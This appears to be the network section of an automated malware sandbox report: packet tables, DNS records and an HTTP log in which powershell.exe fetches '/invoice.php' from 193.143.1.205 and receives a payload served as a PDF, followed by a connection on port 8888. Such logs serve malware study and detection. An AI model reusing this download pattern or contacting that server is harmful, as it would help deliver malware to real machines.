Jan 11, 2025 09:27:13.728009939 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728022099 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728022099 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.728035927 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728044033 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728049040 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728058100 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728061914 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.728061914 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.728095055 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.728559017 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728564978 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728575945 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728581905 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728604078 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728610039 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728614092 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.728615999 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728625059 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.728631973 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728638887 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728647947 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.728652000 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728667021 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728672981 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728677988 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728683949 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728703022 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.728704929 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728719950 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728729010 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.728729963 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728741884 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728754997 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.728769064 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.728781939 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.729206085 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.729212999 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.729223967 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.729233027 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.729243994 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.729254007 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.729260921 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.729307890 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.729307890 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.729307890 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.734247923 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.745393991 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.759643078 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.759650946 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.759669065 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.759685040 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.759696007 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.759722948 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.759736061 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.759771109 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.759784937 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.759802103 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.759807110 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.759852886 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.759891987 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.759897947 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.759937048 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.759942055 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.759958029 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.759963036 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.759963036 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.759985924 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.760063887 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.760077953 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.760083914 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.760107040 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.760123968 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.760246992 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.760253906 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.760265112 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.760274887 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.760298014 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.760314941 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.760339022 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.760344982 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.760386944 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.779318094 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.779397964 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.779403925 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.779454947 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.779462099 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.779473066 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.779484987 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.779516935 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.779599905 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.779607058 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.779618025 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.779649973 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.779742956 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.779750109 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.779766083 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.779778957 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.779788017 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.779799938 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.779809952 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.779827118 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.779843092 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.812997103 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813018084 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813024044 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813082933 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813087940 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813101053 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813204050 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813210011 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813254118 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813257933 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813270092 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813275099 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813299894 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.813338041 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.813384056 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813390017 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813421011 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813436031 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.813458920 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.813517094 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813520908 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813532114 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813543081 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813554049 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813555956 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.813561916 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813591003 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.813613892 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.813693047 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813699007 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813709974 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813724995 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813731909 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813739061 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.813772917 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.813812971 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813843966 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813857079 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.813874960 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.813893080 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.814043045 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814049006 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814062119 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814079046 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814090014 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814095974 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814100981 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.814120054 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.814121008 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814131021 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814132929 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.814177036 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.814354897 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814362049 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814373970 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814388990 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814395905 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814405918 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.814409971 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814424038 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814430952 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814439058 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.814443111 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814481020 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.814737082 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814743042 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814760923 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814774036 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814780951 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814793110 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814806938 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.814941883 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.815119982 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815125942 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815136909 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815150023 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815155983 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815160990 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815165997 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.815174103 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815180063 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.815181971 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815193892 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.815196037 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815203905 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815220118 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815222025 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.815232038 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815243006 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815251112 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.815257072 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815263987 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815270901 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.815301895 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.815671921 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815677881 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815689087 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815701962 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815710068 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815721035 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815730095 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815731049 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.815740108 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815746069 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.815758944 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815769911 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815776110 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815781116 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815782070 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.815798044 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815798998 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.815805912 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815819025 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815824032 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.815834999 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.815851927 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.816276073 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.816294909 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.816303015 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.816314936 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.816423893 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.830066919 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.837014914 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.846709013 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.846715927 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.846729040 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.846776009 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.846781969 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.846834898 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.846863985 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.846869946 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.846887112 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.846903086 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.846915007 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.846920967 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.846957922 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.847095013 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.847100973 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.847115040 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.847126961 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.847134113 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.847141981 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.847146034 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.847168922 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.847181082 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.847196102 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866132021 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866169930 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866175890 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866211891 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866234064 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866236925 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.866262913 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.866308928 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.866338968 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866344929 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866357088 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866369963 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866386890 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.866413116 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.866549015 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866555929 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866569042 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866580963 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866588116 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866597891 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.866600037 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.866631031 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.899952888 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.899960041 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.899971962 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.900052071 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.900058985 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.900078058 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.900089025 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.900094986 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.900105953 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.900115967 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.900135994 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.900245905 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.900252104 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.900264978 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.900274992 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.900295973 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.900321960 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:13.900331974 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.900337934 CET	80	49742	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:13.900377989 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:14.135447979 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:14.141727924 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:14.483340025 CET	49742	80	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:14.927596092 CET	49758	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:14.932562113 CET	8888	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:14.932627916 CET	49758	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:14.932837009 CET	49758	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:14.937664986 CET	8888	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:15.734868050 CET	8888	49758	193.143.1.205	192.168.2.9
Jan 11, 2025 09:27:15.776293993 CET	49758	8888	192.168.2.9	193.143.1.205
Jan 11, 2025 09:27:15.800174952 CET	49758	8888	192.168.2.9	193.143.1.205

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 11, 2025 09:27:22.961452961 CET	60656	53	192.168.2.9	1.1.1.1

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 11, 2025 09:27:22.961452961 CET	192.168.2.9	1.1.1.1	0xa259	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 11, 2025 09:27:05.839900970 CET	1.1.1.1	192.168.2.9	0xd6b8	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 09:27:05.839900970 CET	1.1.1.1	192.168.2.9	0xd6b8	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:27:22.970134974 CET	1.1.1.1	192.168.2.9	0xa259	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 11, 2025 09:27:23.675802946 CET	1.1.1.1	192.168.2.9	0xf2d	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 11, 2025 09:27:23.675802946 CET	1.1.1.1	192.168.2.9	0xf2d	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.9	49742	193.143.1.205	80	7596	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 11, 2025 09:27:12.372996092 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 11, 2025 09:27:13.157471895 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 08:27:13 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 